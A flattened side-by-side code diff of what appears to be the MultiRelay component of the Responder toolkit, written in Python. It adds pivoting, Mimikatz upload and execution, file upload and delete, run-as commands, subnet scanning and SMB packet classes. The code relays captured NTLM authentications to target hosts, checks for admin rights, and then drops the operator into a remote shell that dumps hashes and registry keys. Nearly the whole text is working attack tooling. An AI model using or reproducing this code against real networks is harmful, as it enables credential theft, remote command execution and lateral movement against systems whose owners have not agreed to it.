smbdata = s.recv(2048) smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None: if RunCmd is None:
s.close() s.close()
return None self.request.close()
return None
else: else:
##Any other type of request, send a 407. ##Any other type of request, send a 407.
@@ -247,13 +291,15 @@ class HTTPProxyRelay(BaseRequestHandler):
class HTTPRelay(BaseRequestHandler): class HTTPRelay(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
#Don't handle requests while a shell is open. That's the goal after all. #Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen(): if IsShellOpen():
return None return None
if IsPivotOn():
return None
except: except:
raise raise
@@ -276,7 +322,7 @@ class HTTPRelay(BaseRequestHandler):
if Packet_NTLM == "\x01": if Packet_NTLM == "\x01":
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData()) n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate() n.calculate()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
@@ -285,18 +331,18 @@ class HTTPRelay(BaseRequestHandler):
smbdata = s.recv(2048) smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE ##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00": if smbdata[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(2048) #got it here. smbdata = s.recv(2048) #got it here.
## Send HTTP Response. ## Send HTTP Response.
Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092) data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -313,24 +359,25 @@ class HTTPRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." print "[+] SMB Session Auth sent."
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(2048) smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None: if RunCmd is None:
s.close() s.close()
return None self.request.close()
return None
else: else:
##Any other type of request, send a 407. ##Any other type of request, send a 401.
Response = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
self.request.send(str(Response)) self.request.send(str(Response))
@@ -341,7 +388,7 @@ class HTTPRelay(BaseRequestHandler):
pass pass
class SMBRelay(BaseRequestHandler): class SMBRelay(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
@@ -352,13 +399,12 @@ class SMBRelay(BaseRequestHandler):
raise raise
s = ConnectToTarget() s = ConnectToTarget()
try: try:
data = self.request.recv(4096) data = self.request.recv(4096)
##Negotiate proto answer. That's us. ##Negotiate proto answer. That's us.
if data[8:10] == "\x72\x00": if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data))
t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data)) t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data))
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
@@ -368,13 +414,13 @@ class SMBRelay(BaseRequestHandler):
## Make sure it's not a Kerberos auth. ## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1: if data.find("NTLM") is not -1:
## Start with nego protocol + session setup negotiate to our target. ## Start with nego protocol + session setup negotiate to our target.
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s) data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
## Make sure it's not a Kerberos auth. ## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1: if data.find("NTLM") is not -1:
##Relay all that to our client. ##Relay all that to our client.
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
#NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange. #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange.
#Then simply grab the whole session setup packet except the smb header from the client and pass it to the server. #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server.
t = smbdata[36:] t = smbdata[36:]
@@ -389,104 +435,126 @@ class SMBRelay(BaseRequestHandler):
if IsSMBAnonymous(data): if IsSMBAnonymous(data):
##Send logon failure for anonymous logins. ##Send logon failure for anonymous logins.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
t = SMBSessEmpty() t = SMBSessEmpty()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
self.request.send(buffer1) self.request.send(buffer1)
#data = self.request.recv(4096) ##Make him feel bad, ditch the connection.
s.close() s.close()
return None return None
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host) Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
##Got the ntlm message 3, send it over to SMB. ##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = data[36:]#Final relay. t = data[36:]#Final relay.
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." if Pivoting[0] == "1":
pass
else:
print "[+] SMB Session Auth sent."
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(4096) smbdata = s.recv(4096)
#We're all set, dropping into shell. #We're all set, dropping into shell.
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
#If runcmd is None it's because tree connect was denied for this user. #If runcmd is None it's because tree connect was denied for this user.
#This will only happen once with that specific user account. #This will only happen once with that specific user account.
#Let's kill that connection so we can force him to reauth with another account. #Let's kill that connection so we can force him to reauth with another account.
if RunCmd is None: if RunCmd is None:
s.close() s.close()
return None return None
else: else:
##Send logon failure, so our client might authenticate with another account. ##Send logon failure, so our client might authenticate with another account.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
t = SMBSessEmpty() t = SMBSessEmpty()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
self.request.send(buffer1) self.request.send(buffer1)
data = self.request.recv(4096) data = self.request.recv(4096)
s.close() self.request.close()
return None return None
except Exception: except Exception:
s.close()
self.request.close() self.request.close()
##No need to print anything (timeouts, rst, etc) to the user console.. ##No need to print anything (timeouts, rst, etc) to the user console..
pass pass
#Interface starts here. #Interface starts here.
def RunShellCmd(data, s, clientIP, Host, Username, Domain): def RunShellCmd(data, s, clientIP, Target, Username, Domain):
#Let's declare our globals here..
#Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode.
global Pivoting
#Update Host, when pivoting is used.
global Host
#Make sure we don't open 2 shell at the same time..
global ShellOpen
ShellOpen = ["Shell is open"]
# On this block we do some verifications before dropping the user into the shell. # On this block we do some verifications before dropping the user into the shell.
if data[8:10] == "\x73\x6d": if data[8:10] == "\x73\x6d":
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target." print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
print "[+] Hashes were saved anyways in Responder/logs/ folder.\n" print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False return False
if data[8:10] == "\x73\x8d": if data[8:10] == "\x73\x8d":
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n" print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False return False
if data[8:10] == "\x73\x5e": if data[8:10] == "\x73\x5e":
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n" print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
del ShellOpen[:]
return False return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
## Tree Connect ## Tree Connect
if data[8:10] == "\x73\x00": if data[8:10] == "\x73\x00":
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$") t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
## Nope he doesn't. ## Nope he doesn't.
if data[8:10] == "\x75\x22": if data[8:10] == "\x75\x22":
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" if Pivoting[0] == "1":
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") pass
else:
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False return False
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. # This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
if data[8:10] == "\x75\xcc": if data[8:10] == "\x75\xcc":
print "[+] Tree Connect AndX denied. Bad Network Name returned." print "[+] Tree Connect AndX denied. Bad Network Name returned."
del ShellOpen[:]
return False return False
## Tree Connect on C$ is successfull. ## Tree Connect on C$ is successfull.
if data[8:10] == "\x75\x00": if data[8:10] == "\x75\x00":
print "[+] Looks good, "+Username+" has admin rights on C$." if Pivoting[0] == "1":
pass
else:
print "[+] Looks good, "+Username+" has admin rights on C$."
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$") t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
@@ -495,19 +563,21 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
print "[+] Authenticated." print "[+] Authenticated."
if OneCommand != None: if OneCommand != None:
print "[+] Running command: %s"%(OneCommand) print "[+] Running command: %s"%(OneCommand)
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host) RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
if Dump: if Dump:
print "[+] Dumping hashes" print "[+] Dumping hashes"
DumpHashes(data, s, Host) DumpHashes(data, s, Target[0])
os._exit(1) os._exit(1)
## Drop into the shell. ## Drop into the shell.
if data[8:10] == "\x75\x00" and OneCommand == None: if data[8:10] == "\x75\x00" and OneCommand == None:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" if Pivoting[0] == "1":
ShowHelp() pass
#Make sure we don't open 2 shell at the same time.. else:
global ShellOpen print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShellOpen = ["Shell is open"] ShowHelp()
Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
while True: while True:
@@ -515,50 +585,166 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
if data[8:10] == "\x75\x00": if data[8:10] == "\x75\x00":
#start a thread for raw_input, so we can do other stuff while we wait for a command. #start a thread for raw_input, so we can do other stuff while we wait for a command.
t = Thread(target=get_command, args=()) t = Thread(target=get_command, args=())
t.daemon = True
t.start() t.start()
t.join()
#For now, this is not functionning as expected. The SMB echos are killing the connection #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation
#way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself. #to maintain MultiRelay alive and well.
#So let's use the tree connects wait (average time before timeout:5-12h) count = 0
""" DoEvery = random.randint(10, 45)
while any(x in Cmd for x in Cmd) is False: while any(x in Cmd for x in Cmd) is False:
count = count+1
SMBKeepAlive(s, data) SMBKeepAlive(s, data)
time.sleep(20) if count == DoEvery:
pass DumbSMBChain(data, s, Target[0])
""" count = 0
if any(x in Cmd for x in Cmd) is True:
break
##Grab the commands. Cmd is global in get_command(). ##Grab the commands. Cmd is global in get_command().
Read = re.findall(r'(?<=read )[^\r]*', Cmd[0]) DumpReg = re.findall('^dump', Cmd[0])
RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0]) Read = re.findall('^read (.*)$', Cmd[0])
Get = re.findall(r'(?<=get )[^\r]*', Cmd[0]) RegDump = re.findall('^regdump (.*)$', Cmd[0])
Help = re.findall(r'(?<=help)[^\r]*', Cmd[0]) Get = re.findall('^get (.*)$', Cmd[0])
Upload = re.findall('^upload (.*)$', Cmd[0])
Delete = re.findall('^delete (.*)$', Cmd[0])
RunAs = re.findall('^runas (.*)$', Cmd[0])
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
Mimi = re.findall('^mimi (.*)$', Cmd[0])
Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0])
Scan = re.findall('^scan (.*)$', Cmd[0])
Pivot = re.findall('^pivot (.*)$', Cmd[0])
Help = re.findall('^help', Cmd[0])
if Cmd[0] == "exit": if Cmd[0] == "exit":
print "[+]Returning in relay mode." print "[+] Returning in relay mode."
del Cmd[:] del Cmd[:]
del ShellOpen[:] del ShellOpen[:]
return None return None
##For all of the following commands we send the data (var:data) returned by the ##For all of the following commands we send the data (var: data) returned by the
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
##We also clean up the command array when done. ##We also clean up the command array when done.
if Cmd[0] == "dump": if DumpReg:
data = DumpHashes(data, s, Host) data = DumpHashes(data, s, Target[0])
del Cmd[:] del Cmd[:]
if Read: if Read:
File = Read[0] File = Read[0]
data = ReadFile(data, s, File, Host) data = ReadFile(data, s, File, Target[0])
del Cmd[:] del Cmd[:]
if Get: if Get:
File = Get[0] File = Get[0]
data = GetAfFile(data, s, File, Host) data = GetAfFile(data, s, File, Target[0])
del Cmd[:]
if Upload:
File = Upload[0]
if os.path.isfile(File):
FileSize, FileContent = UploadContent(File)
File = os.path.basename(File)
data = WriteFile(data, s, File, FileSize, FileContent, Target[0])
del Cmd[:]
else:
print File+" does not exist, please specify a valid file."
del Cmd[:]
if Delete:
Filename = Delete[0]
data = DeleteFile(data, s, Filename, Target[0])
del Cmd[:] del Cmd[:]
if RegDump: if RegDump:
Key = RegDump[0] Key = RegDump[0]
data = SaveAKey(data, s, Host, Key) data = SaveAKey(data, s, Target[0], Key)
del Cmd[:]
if RunAs:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = RunAs[0]
data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
del Cmd[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if LCmd:
subprocess.call(LCmd[0], shell=True)
del Cmd[:]
if Mimi:
if os.path.isfile(MimikatzFilename):
FileSize, FileContent = UploadContent(MimikatzFilename)
FileName = os.path.basename(MimikatzFilename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print MimikatzFilename+" does not exist, please specify a valid file."
del Cmd[:]
if Mimi32:
if os.path.isfile(Mimikatzx86Filename):
FileSize, FileContent = UploadContent(Mimikatzx86Filename)
FileName = os.path.basename(Mimikatzx86Filename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi32[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print Mimikatzx86Filename+" does not exist, please specify a valid file."
del Cmd[:]
if Pivot:
if Pivot[0] == Target[0]:
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
del Pivot[:]
del Cmd[:]
else:
if ShowSigning(Pivot[0]):
del Pivot[:]
del Cmd[:]
else:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
RunAsPath = '%windir%\\Temp\\'+FileName
Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
if Status == True:
print "[+] Pivoting to %s."%(Pivot[0])
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
#shell will close.
del ShellOpen[:]
#update the new host.
Host = [Pivot[0]]
#we're in pivoting mode.
Pivoting = ["1"]
data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName)
del Cmd[:]
s.close()
return None
if Status == False:
print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host."
del Cmd[:]
del Pivot[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if Scan:
LocalIp = FindLocalIp()
Range = ConvertToClassC(Target[0], Scan[0])
RunPivotScan(Range, Target[0])
del Cmd[:] del Cmd[:]
if Help: if Help:
@@ -568,18 +754,26 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
##Let go with the command. ##Let go with the command.
if any(x in Cmd for x in Cmd): if any(x in Cmd for x in Cmd):
if len(Cmd[0]) > 1: if len(Cmd[0]) > 1:
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host) if os.path.isfile(SysSVCFileName):
del Cmd[:] FileSize, FileContent = UploadContent(SysSVCFileName)
FileName = os.path.basename(SysSVCFileName)
RunPath = '%windir%\\Temp\\'+FileName
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
del Cmd[:]
else:
print SysSVCFileName+" does not exist, please specify a valid file."
del Cmd[:]
if data is None: if data is None:
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n" print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")# t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
data = s.recv(2048) data = s.recv(2048)
@@ -594,7 +788,7 @@ def serve_thread_tcp(host, port, handler):
try: try:
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1) print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1)
def main(): def main():
@@ -613,6 +807,11 @@ def main():
time.sleep(1) time.sleep(1)
except (KeyboardInterrupt, SystemExit): except (KeyboardInterrupt, SystemExit):
##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default.
##This is a bug in python readline when dealing with raw_input()..
if ShellOpen:
os.system('stty sane')
##Then exit
sys.exit("\rExiting...") sys.exit("\rExiting...")
if __name__ == '__main__': if __name__ == '__main__':

File diff suppressed because it is too large Load Diff

View File

@@ -460,7 +460,42 @@ class SMBTreeConnectData(Packet):
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2] self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBTreeDisconnect(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc","\x00\x00"),
])
class SMBNTCreateData(Packet): class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x9F\x01\x02\x00"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x03\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x40\x00\x40\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x01"),
("Bcc", "\x08\x00"),
("FileName", ""),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBNTCreateDataSVCCTL(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x18"), ("Wordcount", "\x18"),
("AndXCommand", "\xff"), ("AndXCommand", "\xff"),
@@ -488,6 +523,15 @@ class SMBNTCreateData(Packet):
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"]))) self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1)) self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBLockingAndXResponse(Packet):
fields = OrderedDict([
("Wordcount", "\x02"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("Andxoffset", "\x00\x00"),
("Bcc", "\x00\x00"),
])
class SMBReadData(Packet): class SMBReadData(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x0a"), ("Wordcount", "\x0a"),
@@ -509,6 +553,31 @@ class SMBReadData(Packet):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet): class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\xde\xde"),
("FID", "\x06\x40"),
("Offset", "\x00\x00\x00\x00"),
("TimeOut", "\x00\x00\x00\x00"),
("WriteMode", "\x01\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x40\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Padding", "\x41"),
("Data", ""),
])
def calculate(self):
self.fields["DataLenLow"] = struct.pack("<H",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBDCERPCWriteData(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x0e"), ("Wordcount", "\x0e"),
("AndXCommand", "\xff"), ("AndXCommand", "\xff"),
@@ -532,6 +601,8 @@ class SMBWriteData(Packet):
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
